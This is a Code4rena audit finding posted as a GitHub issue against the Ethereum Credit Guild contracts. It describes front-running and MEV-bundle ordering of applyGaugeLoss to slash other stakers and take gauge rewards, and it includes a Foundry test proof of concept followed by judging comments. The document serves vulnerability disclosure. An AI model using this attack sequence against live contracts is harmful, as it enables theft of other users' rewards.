code-423n4 / 2023-12-ethereumcreditguild-findings

17 stars 11 forks source link

GuildToken#applyGaugeLoss - Function call can be maliciously ordered to steal gauge rewards from other users #669

Closed c4-bot-5 closed 11 months ago

c4-bot-5 commented 11 months ago

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L388-L400 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L142-L147

Vulnerability details

Impact

A malicious actor can slash other users' gauge weights to earn the entire share of subsequent gauge rewards for themselves.

Proof of Concept

A gauge's profit index is incremented whenever there's a positive PnL event through the following lines:

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L388-L400

    uint256 _gaugeWeight = uint256(
        GuildToken(guild).getGaugeWeight(gauge)
    );
    if (_gaugeWeight != 0) {
        uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
        if (_gaugeProfitIndex == 0) {
            _gaugeProfitIndex = 1e18;
        }
        gaugeProfitIndex[gauge] =
            _gaugeProfitIndex +
            (amountForGuild * 1e18) /
            _gaugeWeight;
    }

The calculation depends on the total weight assigned to that gauge (_gaugeWeight), which can be manipulated by calling GuildToken.applyGaugeLoss.

Through malicious transaction/function call ordering, a malicious actor can steal all subsequent gauge rewards for themselves. When a lending term is about to be off-boarded, a malicious actor can perform the following attack:

  1. Front-run the off-boarding transaction and assign a small amount of GUILD to that gauge.

  2. Right after off-boarding has been initiated, call a loan that will incur bad debt, i.e., loanDebtInUSD > collateralInUSD.

  3. Wait until the loan has been closed and has notified ProfitManager of a negative PnL event (or bid on the auction when PnL hits negative).

  4. Apply gauge loss to every other account assigned to that gauge.

  5. Trigger positive PnL events either through bidding on called loans or ordering loan repayments after gauge losses have been applied.

  6. Claim gauge rewards.

Steps 3-6 can be executed inside a MEV bundle to ensure that the malicious actor's gauge weight is the only one that is not slashed before gauge rewards are distributed.

Add the following test to test/unit/tokens/GuildToken.t.sol to see an example of how gauge rewards can be stolen:

    function test_applyGaugeLoss_stealRewards() public {

        // Assign 100% split to guild
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0, // creditSplit
            1e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        // Alice has 40 GUILD assigned to gauge1
        // Notify PnL with loss in gauge 1,
        _setupAliceLossInGauge1();

        // Mint CREDIT to ProfitManager so it has enough tokens to distribute when there's positive PnL
        uint256 profitAmount = 1000e18;
        credit.mint(address(profitManager), profitAmount);

        // Bob acquires 1 GUILD token
        uint256 bobWeight = 1e18;
        token.mint(bob, bobWeight);

        // In the same block as the loss in gauge 1, Bob does the following:
        vm.startPrank(bob);

        // 1. Assign 1 GUILD to the gauge
        token.incrementGauge(gauge1, bobWeight);

        // 2. Call `applyGaugeLoss` on Alice
        token.applyGaugeLoss(gauge1, alice);

        // 3. Trigger a positive PnL event
        // (PnL simulated)
        vm.startPrank(address(this));
        profitManager.notifyPnL(gauge1, int256(profitAmount));
        vm.stopPrank();

        // 4. Claim all rewards from the positive PnL
        profitManager.claimGaugeRewards(bob, gauge1);

        vm.stopPrank();

        // Bob receives ALL rewards from the positive PnL
        assertEq(credit.balanceOf(bob), profitAmount);
    }

Tools Used

Manual review

Recommended Mitigation Steps

To properly mitigate against this attack, the slashing mechanism needs to be redesigned.

A band-aid solution to prevent this attack in the case of off-boarded lending terms can be to only allow slashing after all loans in the lending term have been closed.

Assessed type

MEV

c4-pre-sort commented 11 months ago

0xSorryNotSorry marked the issue as sufficient quality report

c4-pre-sort commented 11 months ago

0xSorryNotSorry marked the issue as duplicate of #877

c4-pre-sort commented 11 months ago

0xSorryNotSorry marked the issue as not a duplicate

c4-pre-sort commented 11 months ago

0xSorryNotSorry marked the issue as duplicate of #994

c4-judge commented 10 months ago

Trumpero changed the severity to 2 (Med Risk)

c4-judge commented 10 months ago

Trumpero marked the issue as satisfactory